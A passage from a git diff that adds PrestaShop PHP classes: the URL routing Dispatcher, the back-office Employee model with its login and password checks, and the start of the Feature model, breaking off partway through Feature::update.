'[0-9]+', 'param' => 'id_manufacturer'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + ), + ), + 'cms_rule' => array( + 'controller' => 'cms', + 'rule' => 'content/{id}-{rewrite}', + 'keywords' => array( + 'id' => array('regexp' => '[0-9]+', 'param' => 'id_cms'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + ), + ), + 'cms_category_rule' => array( + 'controller' => 'cms', + 'rule' => 'content/category/{id}-{rewrite}', + 'keywords' => array( + 'id' => array('regexp' => '[0-9]+', 'param' => 'id_cms_category'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + ), + ), + 'module' => array( + 'controller' => null, + 'rule' => 'module/{module}{/:controller}', + 'keywords' => array( + 'module' => array('regexp' => '[_a-zA-Z0-9_-]+', 'param' => 'module'), + 'controller' => array('regexp' => '[_a-zA-Z0-9_-]+', 'param' => 'controller'), + ), + 'params' => array( + 'fc' => 'module', + ), + ), + 'product_rule' => array( + 'controller' => 'product', + 'rule' => '{category:/}{id}-{rewrite}{-:ean13}.html', + 'keywords' => array( + 'id' => array('regexp' => '[0-9]+', 'param' => 'id_product'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'ean13' => array('regexp' => '[0-9\pL]*'), + 'category' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'categories' => array('regexp' => '[/_a-zA-Z0-9-\pL]*'), + 'reference' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'manufacturer' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'supplier' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'price' => array('regexp' => '[0-9\.,]*'), + 'tags' => array('regexp' => '[a-zA-Z0-9-\pL]*'), + ), + ), + // Must be after the product and category rules in order to avoid conflict + 'layered_rule' => array( + 'controller' => 'category', + 'rule' => '{id}-{rewrite}{/:selected_filters}', + 'keywords' => array( + 'id' => array('regexp' => '[0-9]+', 'param' => 'id_category'), + /* Selected filters is used by the module blocklayered */ + 'selected_filters' => array('regexp' => '.*', 'param' => 'selected_filters'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + ), + ), + ); + + /** + * @var bool If true, use routes to build URL (mod rewrite must be activated) + */ + protected $use_routes = false; + + protected $multilang_activated = false; + + /** + * @var array List of loaded routes + */ + protected $routes = array(); + + /** + * @var string Current controller name + */ + protected $controller; + + /** + * @var string Current request uri + */ + protected $request_uri; + + /** + * @var array Store empty route (a route with an empty rule) + */ + protected $empty_route; + + /** + * @var string Set default controller, which will be used if http parameter 'controller' is empty + */ + protected $default_controller = 'index'; + + /** + * @var string Controller to use if found controller doesn't exist + */ + protected $controller_not_found = 'pagenotfound'; + + /** + * @var string Front controller to use + */ + protected $front_controller = self::FC_FRONT; + + /** + * Get current instance of dispatcher (singleton) + * + * @return Dispatcher + */ + public static function getInstance() + { + if (!self::$instance) + self::$instance = new Dispatcher(); + return self::$instance; + } + + /** + * Need to be instancied from getInstance() method + */ + protected function __construct() + { + $this->use_routes = (bool)Configuration::get('PS_REWRITING_SETTINGS'); + + // Select right front controller + if (defined('_PS_ADMIN_DIR_')) + { + $this->front_controller = self::FC_ADMIN; + $this->controller_not_found = 'adminnotfound'; + $this->default_controller = 'adminhome'; + $this->use_routes = false; + } + elseif (Tools::getValue('fc') == 'module') + { + $this->front_controller = self::FC_MODULE; + $this->controller_not_found = 'pagenotfound'; + $this->default_controller = 'default'; + } + else + { + $this->front_controller = self::FC_FRONT; + $this->controller_not_found = 'pagenotfound'; + $this->default_controller = 'index'; + } + + $this->setRequestUri(); + + // Switch language if needed (only on front) + if (in_array($this->front_controller, array(self::FC_FRONT, self::FC_MODULE))) + Tools::switchLanguage(); + + if (Language::isMultiLanguageActivated()) + $this->multilang_activated = true; + + $this->loadRoutes(); + } + + /** + * Find the controller and instantiate it + */ + public function dispatch() + { + $controller_class = ''; + + // Get current controller + $this->getController(); + if (!$this->controller) + $this->controller = $this->default_controller; + // Dispatch with right front controller + switch ($this->front_controller) + { + // Dispatch front office controller + case self::FC_FRONT : + $controllers = Dispatcher::getControllers(array(_PS_FRONT_CONTROLLER_DIR_, _PS_OVERRIDE_DIR_.'controllers/front/')); + + $controllers['index'] = 'IndexController'; + if (isset($controllers['auth'])) + $controllers['authentication'] = $controllers['auth']; + if (isset($controllers['compare'])) + $controllers['productscomparison'] = $controllers['compare']; + if (isset($controllers['contact'])) + $controllers['contactform'] = $controllers['contact']; + + if (!isset($controllers[strtolower($this->controller)])) + $this->controller = $this->controller_not_found; + $controller_class = $controllers[strtolower($this->controller)]; + $params_hook_action_dispatcher = array('controller_type' => self::FC_FRONT, 'controller_class' => $controller_class, 'is_module' => 0); + break; + + // Dispatch module controller for front office + case self::FC_MODULE : + $module_name = Validate::isModuleName(Tools::getValue('module')) ? Tools::getValue('module') : ''; + $module = Module::getInstanceByName($module_name); + $controller_class = 'PageNotFoundController'; + if (Validate::isLoadedObject($module) && $module->active) + { + $controllers = Dispatcher::getControllers(_PS_MODULE_DIR_.$module_name.'/controllers/front/'); + if (isset($controllers[strtolower($this->controller)])) + { + include_once(_PS_MODULE_DIR_.$module_name.'/controllers/front/'.$this->controller.'.php'); + $controller_class = $module_name.$this->controller.'ModuleFrontController'; + } + } + $params_hook_action_dispatcher = array('controller_type' => self::FC_FRONT, 'controller_class' => $controller_class, 'is_module' => 1); + break; + + // Dispatch back office controller + module back office controller + case self::FC_ADMIN : + $tab = Tab::getInstanceFromClassName($this->controller); + $retrocompatibility_admin_tab = null; + + if ($tab->module) + { + if (file_exists(_PS_MODULE_DIR_.$tab->module.'/'.$tab->class_name.'.php')) + $retrocompatibility_admin_tab = _PS_MODULE_DIR_.$tab->module.'/'.$tab->class_name.'.php'; + else + { + $controllers = Dispatcher::getControllers(_PS_MODULE_DIR_.$tab->module.'/controllers/admin/'); + if (!isset($controllers[strtolower($this->controller)])) + { + $this->controller = $this->controller_not_found; + $controller_class = 'AdminNotFoundController'; + } + else + { + // Controllers in modules can be named AdminXXX.php or AdminXXXController.php + include_once(_PS_MODULE_DIR_.$tab->module.'/controllers/admin/'.$controllers[strtolower($this->controller)].'.php'); + $controller_class = $controllers[strtolower($this->controller)].(strpos($controllers[strtolower($this->controller)], 'Controller') ? '' : 'Controller'); + } + } + $params_hook_action_dispatcher = array('controller_type' => self::FC_ADMIN, 'controller_class' => $controller_class, 'is_module' => 1); + } + else + { + $controllers = Dispatcher::getControllers(array(_PS_ADMIN_DIR_.'/tabs/', _PS_ADMIN_CONTROLLER_DIR_, _PS_OVERRIDE_DIR_.'controllers/admin/')); + + if (!isset($controllers[strtolower($this->controller)])) + $this->controller = $this->controller_not_found; + $controller_class = $controllers[strtolower($this->controller)]; + $params_hook_action_dispatcher = array('controller_type' => self::FC_ADMIN, 'controller_class' => $controller_class, 'is_module' => 0); + + if (file_exists(_PS_ADMIN_DIR_.'/tabs/'.$controller_class.'.php')) + $retrocompatibility_admin_tab = _PS_ADMIN_DIR_.'/tabs/'.$controller_class.'.php'; + } + + // @retrocompatibility with admin/tabs/ old system + if ($retrocompatibility_admin_tab) + { + include_once($retrocompatibility_admin_tab); + include_once(_PS_ADMIN_DIR_.'/functions.php'); + runAdminTab($this->controller, !empty($_REQUEST['ajaxMode'])); + return; + } + break; + + default : + throw new PrestaShopException('Bad front controller chosen'); + } + + // Instantiate controller + try + { + // Loading controller + $controller = Controller::getController($controller_class); + + // Execute hook dispatcher + if (isset($params_hook_action_dispatcher)) + Hook::exec('actionDispatcher', $params_hook_action_dispatcher); + + // Running controller + $controller->run(); + } + catch (PrestaShopException $e) + { + $e->displayMessage(); + } + } + + /** + * Set request uri and iso lang + */ + protected function setRequestUri() + { + // Get request uri (HTTP_X_REWRITE_URL is used by IIS) + if (isset($_SERVER['REQUEST_URI'])) + $this->request_uri = $_SERVER['REQUEST_URI']; + else if (isset($_SERVER['HTTP_X_REWRITE_URL'])) + $this->request_uri = $_SERVER['HTTP_X_REWRITE_URL']; + $this->request_uri = rawurldecode($this->request_uri); + + $this->request_uri = preg_replace('#^'.preg_quote(Context::getContext()->shop->getBaseURI(), '#').'#i', '/', $this->request_uri); + + // If there are several languages, get language from uri + if ($this->use_routes && Language::isMultiLanguageActivated()) + if (preg_match('#^/([a-z]{2})/#', $this->request_uri, $m)) + { + $_GET['isolang'] = $m[1]; + $this->request_uri = substr($this->request_uri, 3); + } + } + + /** + * Load default routes group by languages + */ + protected function loadRoutes() + { + $context = Context::getContext(); + + // Load custom routes from modules + $modules_routes = Hook::exec('moduleRoutes', array(), null, true, false); + if (is_array($modules_routes) && count($modules_routes)) + foreach($modules_routes as $module_route) + foreach($module_route as $route => $route_details) + if (array_key_exists('controller', $route_details) && array_key_exists('rule', $route_details) + && array_key_exists('keywords', $route_details) && array_key_exists('params', $route_details)) + { + if (!isset($this->default_routes[$route])) + $this->default_routes[$route] = array(); + $this->default_routes[$route] = array_merge($this->default_routes[$route], $route_details); + } + + // Set default routes + foreach (Language::getLanguages() as $lang) + foreach ($this->default_routes as $id => $route) + $this->addRoute( + $id, + $route['rule'], + $route['controller'], + $lang['id_lang'], + $route['keywords'], + isset($route['params']) ? $route['params'] : array() + ); + + // Load the custom routes prior the defaults to avoid infinite loops + if ($this->use_routes) + { + // Get iso lang + $iso_lang = Tools::getValue('isolang'); + $id_lang = $context->language->id; + if (!empty($iso_lang)) + $id_lang = Language::getIdByIso($iso_lang); + + // Load routes from meta table + $sql = 'SELECT m.page, ml.url_rewrite, ml.id_lang + FROM `'._DB_PREFIX_.'meta` m + LEFT JOIN `'._DB_PREFIX_.'meta_lang` ml ON (m.id_meta = ml.id_meta'.Shop::addSqlRestrictionOnLang('ml').') + ORDER BY LENGTH(ml.url_rewrite) DESC'; + if ($results = Db::getInstance()->executeS($sql)) + foreach ($results as $row) + { + if ($row['url_rewrite']) + $this->addRoute($row['page'], $row['url_rewrite'], $row['page'], $row['id_lang']); + } + + // Set default empty route if no empty route (that's weird I know) + if (!$this->empty_route) + $this->empty_route = array( + 'routeID' => 'index', + 'rule' => '', + 'controller' => 'index', + ); + + // Load custom routes + foreach ($this->default_routes as $route_id => $route_data) + if ($custom_route = Configuration::get('PS_ROUTE_'.$route_id)) + foreach (Language::getLanguages() as $lang) + $this->addRoute( + $route_id, + $custom_route, + $route_data['controller'], + $lang['id_lang'], + $route_data['keywords'], + isset($route_data['params']) ? $route_data['params'] : array() + ); + } + } + + /** + * + * @param string $route_id Name of the route (need to be uniq, a second route with same name will override the first) + * @param string $rule Url rule + * @param string $controller Controller to call if request uri match the rule + * @param int $id_lang + */ + public function addRoute($route_id, $rule, $controller, $id_lang = null, array $keywords = array(), array $params = array()) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $regexp = preg_quote($rule, '#'); + if ($keywords) + { + $transform_keywords = array(); + preg_match_all('#\\\{(([^{}]*)\\\:)?('.implode('|', array_keys($keywords)).')(\\\:([^{}]*))?\\\}#', $regexp, $m); + for ($i = 0, $total = count($m[0]); $i < $total; $i++) + { + $prepend = $m[2][$i]; + $keyword = $m[3][$i]; + $append = $m[5][$i]; + $transform_keywords[$keyword] = array( + 'required' => isset($keywords[$keyword]['param']), + 'prepend' => stripslashes($prepend), + 'append' => stripslashes($append), + ); + + $prepend_regexp = $append_regexp = ''; + if ($prepend || $append) + { + $prepend_regexp = '('.preg_quote($prepend); + $append_regexp = preg_quote($append).')?'; + } + + if (isset($keywords[$keyword]['param'])) + $regexp = str_replace($m[0][$i], $prepend_regexp.'(?P<'.$keywords[$keyword]['param'].'>'.$keywords[$keyword]['regexp'].')'.$append_regexp, $regexp); + else + $regexp = str_replace($m[0][$i], $prepend_regexp.'('.$keywords[$keyword]['regexp'].')'.$append_regexp, $regexp); + + } + $keywords = $transform_keywords; + } + + $regexp = '#^/'.$regexp.'(\?.*)?$#u'; + if (!isset($this->routes[$id_lang])) + $this->routes[$id_lang] = array(); + + $this->routes[$id_lang][$route_id] = array( + 'rule' => $rule, + 'regexp' => $regexp, + 'controller' => $controller, + 'keywords' => $keywords, + 'params' => $params, + ); + } + + /** + * Check if a route exists + * + * @param string $route_id + * @param int $id_lang + * @return bool + */ + public function hasRoute($route_id, $id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + return isset($this->routes[$id_lang]) && isset($this->routes[$id_lang][$route_id]); + } + + /** + * Check if a keyword is written in a route rule + * + * @param string $route_id + * @param int $id_lang + * @param string $keyword + * @return bool + */ + public function hasKeyword($route_id, $id_lang, $keyword) + { + if (!isset($this->routes[$id_lang]) && !isset($this->routes[$id_lang][$route_id])) + return false; + + return preg_match('#\{([^{}]*:)?'.preg_quote($keyword, '#').'(:[^{}]*)?\}#', $this->routes[$id_lang][$route_id]['rule']); + } + + /** + * Check if a route rule contain all required keywords of default route definition + * + * @param string $route_id + * @param string $rule Rule to verify + * @param array $errors List of missing keywords + */ + public function validateRoute($route_id, $rule, &$errors = array()) + { + $errors = array(); + if (!isset($this->default_routes[$route_id])) + return false; + + foreach ($this->default_routes[$route_id]['keywords'] as $keyword => $data) + if (isset($data['param']) && !preg_match('#\{([^{}]*:)?'.$keyword.'(:[^{}]*)?\}#', $rule)) + $errors[] = $keyword; + + return (count($errors)) ? false : true; + } + + /** + * Create an url from + * + * @param string $route_id Name the route + * @param int $id_lang + * @param array $params + * @param bool $use_routes If false, don't use to create this url + * @param string $anchor Optional anchor to add at the end of this url + */ + public function createUrl($route_id, $id_lang = null, array $params = array(), $force_routes = false, $anchor = '') + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + + if (!isset($this->routes[$id_lang][$route_id])) + { + $query = http_build_query($params, '', '&'); + $index_link = $this->use_routes ? '' : 'index.php'; + return ($route_id == 'index') ? $index_link.(($query) ? '?'.$query : '') : 'index.php?controller='.$route_id.(($query) ? '&'.$query : '').$anchor; + } + $route = $this->routes[$id_lang][$route_id]; + // Check required fields + $query_params = isset($route['params']) ? $route['params'] : array(); + foreach ($route['keywords'] as $key => $data) + { + if (!$data['required']) + continue; + + if (!array_key_exists($key, $params)) + die('Dispatcher::createUrl() miss required parameter "'.$key.'" for route "'.$route_id.'"'); + if (isset($this->default_routes[$route_id])) + $query_params[$this->default_routes[$route_id]['keywords'][$key]['param']] = $params[$key]; + } + + // Build an url which match a route + if ($this->use_routes || $force_routes) + { + + $url = $route['rule']; + $add_param = array(); + + foreach ($params as $key => $value) + { + if (!isset($route['keywords'][$key])) + { + if (!isset($this->default_routes[$route_id]['keywords'][$key])) + $add_param[$key] = $value; + } + else + { + if ($params[$key]) + $replace = $route['keywords'][$key]['prepend'].$params[$key].$route['keywords'][$key]['append']; + else + $replace = ''; + $url = preg_replace('#\{([^{}]*:)?'.$key.'(:[^{}]*)?\}#', $replace, $url); + } + } + $url = preg_replace('#\{([^{}]*:)?[a-z0-9_]+?(:[^{}]*)?\}#', '', $url); + if (count($add_param)) + $url .= '?'.http_build_query($add_param, '', '&'); + } + // Build a classic url index.php?controller=foo&... + else + { + $add_params = array(); + foreach ($params as $key => $value) + if (!isset($route['keywords'][$key]) && !isset($this->default_routes[$route_id]['keywords'][$key])) + $add_params[$key] = $value; + + if (!empty($route['controller'])) + $query_params['controller'] = $route['controller']; + $query = http_build_query(array_merge($add_params, $query_params), '', '&'); + if ($this->multilang_activated) + $query .= (!empty($query) ? '&' : '').'id_lang='.(int)$id_lang; + $url = 'index.php?'.$query; + + } + + return $url.$anchor; + } + + /** + * Retrieve the controller from url or request uri if routes are activated + * + * @return string + */ + public function getController() + { + if ($this->controller) + { + $_GET['controller'] = $this->controller; + return $this->controller; + } + + $controller = Tools::getValue('controller'); + + if (isset($controller) && is_string($controller) && preg_match('/^([0-9a-z_-]+)\?(.*)=(.*)$/Ui', $controller, $m)) + { + $controller = $m[1]; + if (isset($_GET['controller'])) + $_GET[$m[2]] = $m[3]; + else if (isset($_POST['controller'])) + $_POST[$m[2]] = $m[3]; + } + + if (!Validate::isControllerName($controller)) + $controller = false; + + // Use routes ? (for url rewriting) + if ($this->use_routes && !$controller) + { + if (!$this->request_uri) + return strtolower($this->controller_not_found); + $controller = $this->controller_not_found; + + // If the request_uri matches a static file, then there is no need to check the routes, we keep "controller_not_found" (a static file should not go through the dispatcher) + if (!preg_match('/\.(gif|jpe?g|png|css|js|ico)$/i', $this->request_uri)) + { + // Add empty route as last route to prevent this greedy regexp to match request uri before right time + if ($this->empty_route) + $this->addRoute($this->empty_route['routeID'], $this->empty_route['rule'], $this->empty_route['controller'], Context::getContext()->language->id); + + if (isset($this->routes[Context::getContext()->language->id])) + foreach ($this->routes[Context::getContext()->language->id] as $route) + if (preg_match($route['regexp'], $this->request_uri, $m)) + { + // Route found ! Now fill $_GET with parameters of uri + foreach ($m as $k => $v) + if (!is_numeric($k)) + $_GET[$k] = $v; + + $controller = $route['controller'] ? $route['controller'] : $_GET['controller']; + if (!empty($route['params'])) + foreach ($route['params'] as $k => $v) + $_GET[$k] = $v; + + // A patch for module friendly urls + if (preg_match('#module-([a-z0-9_-]+)-([a-z0-9]+)$#i', $controller, $m)) + { + $_GET['module'] = $m[1]; + $_GET['fc'] = 'module'; + $controller = $m[2]; + } + + if (isset($_GET['fc']) && $_GET['fc'] == 'module') + $this->front_controller = self::FC_MODULE; + break; + } + } + if ($controller == 'index' || $this->request_uri == '/index.php') + $controller = $this->default_controller; + $this->controller = $controller; + } + // Default mode, take controller from url + else + $this->controller = $controller; + + $this->controller = str_replace('-', '', $this->controller); + $_GET['controller'] = $this->controller; + return $this->controller; + } + + /** + * Get list of all available FO controllers + * + * @var mixed $dirs + * @return array + */ + public static function getControllers($dirs) + { + if (!is_array($dirs)) + $dirs = array($dirs); + + $controllers = array(); + foreach ($dirs as $dir) + $controllers = array_merge($controllers, Dispatcher::getControllersInDirectory($dir)); + return $controllers; + } + + /** + * Get list of available controllers from the specified dir + * + * @param string dir directory to scan (recursively) + * @return array + */ + public static function getControllersInDirectory($dir) + { + if (!is_dir($dir)) + return array(); + + $controllers = array(); + $controller_files = scandir($dir); + foreach ($controller_files as $controller_filename) + { + if ($controller_filename[0] != '.') + { + if (!strpos($controller_filename, '.php') && is_dir($dir.$controller_filename)) + $controllers += Dispatcher::getControllersInDirectory($dir.$controller_filename.DIRECTORY_SEPARATOR); + elseif ($controller_filename != 'index.php') + { + $key = str_replace(array('controller.php', '.php'), '', strtolower($controller_filename)); + $controllers[$key] = basename($controller_filename, '.php'); + } + } + } + + return $controllers; + } +} diff --git a/classes/Employee.php b/classes/Employee.php new file mode 100755 index 0000000..c43ee37 --- /dev/null +++ b/classes/Employee.php @@ -0,0 +1,326 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class EmployeeCore extends ObjectModel +{ + public $id; + + /** @var string Determine employee profile */ + public $id_profile; + + /** @var string employee language */ + public $id_lang; + + /** @var string Lastname */ + public $lastname; + + /** @var string Firstname */ + public $firstname; + + /** @var string e-mail */ + public $email; + + /** @var string Password */ + public $passwd; + + /** @var datetime Password */ + public $last_passwd_gen; + + public $stats_date_from; + public $stats_date_to; + + /** @var string Display back office background in the specified color */ + public $bo_color; + + public $default_tab; + + /** @var string employee's chosen theme */ + public $bo_theme; + + /** @var integer employee desired screen width */ + public $bo_width; + + /** @var bool, true */ + public $bo_show_screencast; + + /** @var boolean Status */ + public $active = 1; + + public $remote_addr; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'employee', + 'primary' => 'id_employee', + 'fields' => array( + 'lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'required' => true, 'size' => 128), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'passwd' => array('type' => self::TYPE_STRING, 'validate' => 'isPasswdAdmin', 'required' => true, 'size' => 32), + 'last_passwd_gen' => array('type' => self::TYPE_STRING), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'id_profile' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'bo_color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor', 'size' => 32), + 'default_tab' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'bo_theme' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 32), + 'bo_width' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'bo_show_screencast' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'stats_date_from' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'stats_date_to' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_lang' => array('xlink_resource' => 'languages'), + 'last_passwd_gen' => array('setter' => null), + 'stats_date_from' => array('setter' => null), + 'stats_date_to' => array('setter' => null), + 'passwd' => array('setter' => 'setWsPasswd'), + ), + ); + + protected $associated_shops = array(); + + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + parent::__construct($id, $id_lang, $id_shop); + + if ($this->id) + $this->associated_shops = $this->getAssociatedShops(); + } + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + if (empty($this->stats_date_from)) + $this->stats_date_from = date('Y-m-d 00:00:00'); + + if (empty($this->stats_date_to)) + $this->stats_date_to = date('Y-m-d 23:59:59'); + + return parent::getFields(); + } + + public function add($autodate = true, $null_values = true) + { + $this->last_passwd_gen = date('Y-m-d H:i:s', strtotime('-'.Configuration::get('PS_PASSWD_TIME_BACK').'minutes')); + return parent::add($autodate, $null_values); + } + + /** + * Return list of employees + */ + public static function getEmployees() + { + return Db::getInstance()->executeS(' + SELECT `id_employee`, `firstname`, `lastname` + FROM `'._DB_PREFIX_.'employee` + WHERE `active` = 1 + ORDER BY `lastname` ASC + '); + } + + /** + * Return employee instance from its e-mail (optionnaly check password) + * + * @param string $email e-mail + * @param string $passwd Password is also checked if specified + * @return Employee instance + */ + public function getByEmail($email, $passwd = null) + { + if (!Validate::isEmail($email) || ($passwd != null && !Validate::isPasswd($passwd))) + die(Tools::displayError()); + + $result = Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'employee` + WHERE `active` = 1 + AND `email` = \''.pSQL($email).'\' + '.($passwd ? 'AND `passwd` = \''.Tools::encrypt($passwd).'\'' : '')); + if (!$result) + return false; + $this->id = $result['id_employee']; + $this->id_profile = $result['id_profile']; + foreach ($result as $key => $value) + if (property_exists($this, $key)) + $this->{$key} = $value; + return $this; + } + + public static function employeeExists($email) + { + if (!Validate::isEmail($email)) + die (Tools::displayError()); + + return (bool)Db::getInstance()->getValue(' + SELECT `id_employee` + FROM `'._DB_PREFIX_.'employee` + WHERE `email` = \''.pSQL($email).'\''); + } + + /** + * Check if employee password is the right one + * + * @param string $passwd Password + * @return boolean result + */ + public static function checkPassword($id_employee, $passwd) + { + if (!Validate::isUnsignedId($id_employee) || !Validate::isPasswd($passwd, 8)) + die (Tools::displayError()); + + return Db::getInstance()->getValue(' + SELECT `id_employee` + FROM `'._DB_PREFIX_.'employee` + WHERE `id_employee` = '.(int)$id_employee.' + AND `passwd` = \''.pSQL($passwd).'\' + AND active = 1'); + } + + public static function countProfile($id_profile, $active_only = false) + { + return Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'employee` + WHERE `id_profile` = '.(int)$id_profile.' + '.($active_only ? ' AND `active` = 1' : '')); + } + + public function isLastAdmin() + { + return ($this->isSuperAdmin() + && Employee::countProfile($this->id_profile, true) == 1 + && $this->active + ); + } + + public function setWsPasswd($passwd) + { + if ($this->id != 0) + { + if ($this->passwd != $passwd) + $this->passwd = Tools::encrypt($passwd); + } + else + $this->passwd = Tools::encrypt($passwd); + return true; + } + + /** + * Check employee informations saved into cookie and return employee validity + * + * @return boolean employee validity + */ + public function isLoggedBack() + { + /* Employee is valid only if it can be load and if cookie password is the same as database one */ + return ($this->id + && Validate::isUnsignedId($this->id) + && Employee::checkPassword($this->id, $this->passwd) + && (!isset($this->remote_addr) || $this->remote_addr == ip2long(Tools::getRemoteAddr()) || !Configuration::get('PS_COOKIE_CHECKIP')) + ); + } + + /** + * Logout + */ + public function logout() + { + if (isset(Context::getContext()->cookie)) + Context::getContext()->cookie->logout(); + $this->id = null; + } + + /** + * Check if the employee is associated to a specific shop + * + * @since 1.5.0 + * @param int $id_shop + * @return bool + */ + public function hasAuthOnShop($id_shop) + { + return $this->isSuperAdmin() || in_array($id_shop, $this->associated_shops); + } + + /** + * Check if the employee is associated to a specific shop group + * + * @since 1.5.0 + * @param int $id_shop_shop + * @return bool + */ + public function hasAuthOnShopGroup($id_shop_group) + { + if ($this->isSuperAdmin()) + return true; + + foreach ($this->associated_shops as $id_shop) + if ($id_shop_group == Shop::getGroupFromShop($id_shop, true)) + return true; + return false; + } + + /** + * Get default id_shop with auth for current employee + * + * @since 1.5.0 + * @return int + */ + public function getDefaultShopID() + { + if ($this->isSuperAdmin() || in_array(Configuration::get('PS_SHOP_DEFAULT'), $this->associated_shops)) + return Configuration::get('PS_SHOP_DEFAULT'); + return $this->associated_shops[0]; + } + + public static function getEmployeesByProfile($id_profile, $active_only = false) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'employee` + WHERE `id_profile` = '.(int)$id_profile.' + '.($active_only ? ' AND `active` = 1' : '')); + } + + /** + * Check if current employee is super administrator + * + * @return bool + */ + public function isSuperAdmin() + { + return $this->id_profile == _PS_ADMIN_PROFILE_; + } +} diff --git a/classes/Feature.php b/classes/Feature.php new file mode 100755 index 0000000..fbf6af0 --- /dev/null +++ b/classes/Feature.php @@ -0,0 +1,342 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FeatureCore extends ObjectModel +{ + /** @var string Name */ + public $name; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'feature', + 'primary' => 'id_feature', + 'multilang' => true, + 'fields' => array( + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + ), + ); + + + protected $webserviceParameters = array( + 'objectsNodeName' => 'product_features', + 'objectNodeName' => 'product_feature', + 'fields' => array(), + ); + + /** + * Get a feature data for a given id_feature and id_lang + * + * @param integer $id_lang Language id + * @param integer $id_feature Feature id + * @return array Array with feature's data + * @static + */ + public static function getFeature($id_lang, $id_feature) + { + return Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'feature` f + LEFT JOIN `'._DB_PREFIX_.'feature_lang` fl + ON ( f.`id_feature` = fl.`id_feature` AND fl.`id_lang` = '.(int)$id_lang.') + WHERE f.`id_feature` = '.(int)$id_feature + ); + } + + /** + * Get all features for a given language + * + * @param integer $id_lang Language id + * @return array Multiple arrays with feature's data + * @static + */ + public static function getFeatures($id_lang, $with_shop = true) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'feature` f + '.($with_shop ? Shop::addSqlAssociation('feature', 'f') : '').' + LEFT JOIN `'._DB_PREFIX_.'feature_lang` fl ON (f.`id_feature` = fl.`id_feature` AND fl.`id_lang` = '.(int)$id_lang.') + ORDER BY f.`position` ASC'); + } + + /** + * Delete several objects from database + * + * @param array $selection Array with items to delete + * @return boolean Deletion result + */ + public function deleteSelection($selection) + { + /* Also delete Attributes */ + foreach ($selection as $value) + { + $obj = new Feature($value); + if (!$obj->delete()) + return false; + } + return true; + } + + public function add($autodate = true, $nullValues = false) + { + if ($this->position <= 0) + $this->position = Feature::getHigherPosition() + 1; + + $return = parent::add($autodate, true); + Hook::exec('actionFeatureSave', array('id_feature' => $this->id)); + return $return; + } + + public function delete() + { + /* Also delete related attributes */ + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_value_lang` + WHERE `id_feature_value` IN (SELECT id_feature_value FROM `'._DB_PREFIX_.'feature_value` WHERE `id_feature` = '.(int)$this->id.') + '); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_value` + WHERE `id_feature` = '.(int)$this->id + ); + /* Also delete related products */ + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_product` + WHERE `id_feature` = '.(int)$this->id + ); + + $return = parent::delete(); + if ($return) + Hook::exec('actionFeatureDelete', array('id_feature' => $this->id)); + + /* Reinitializing position */ + $this->cleanPositions(); + + return $return; + } + + public function update($nullValues = false) 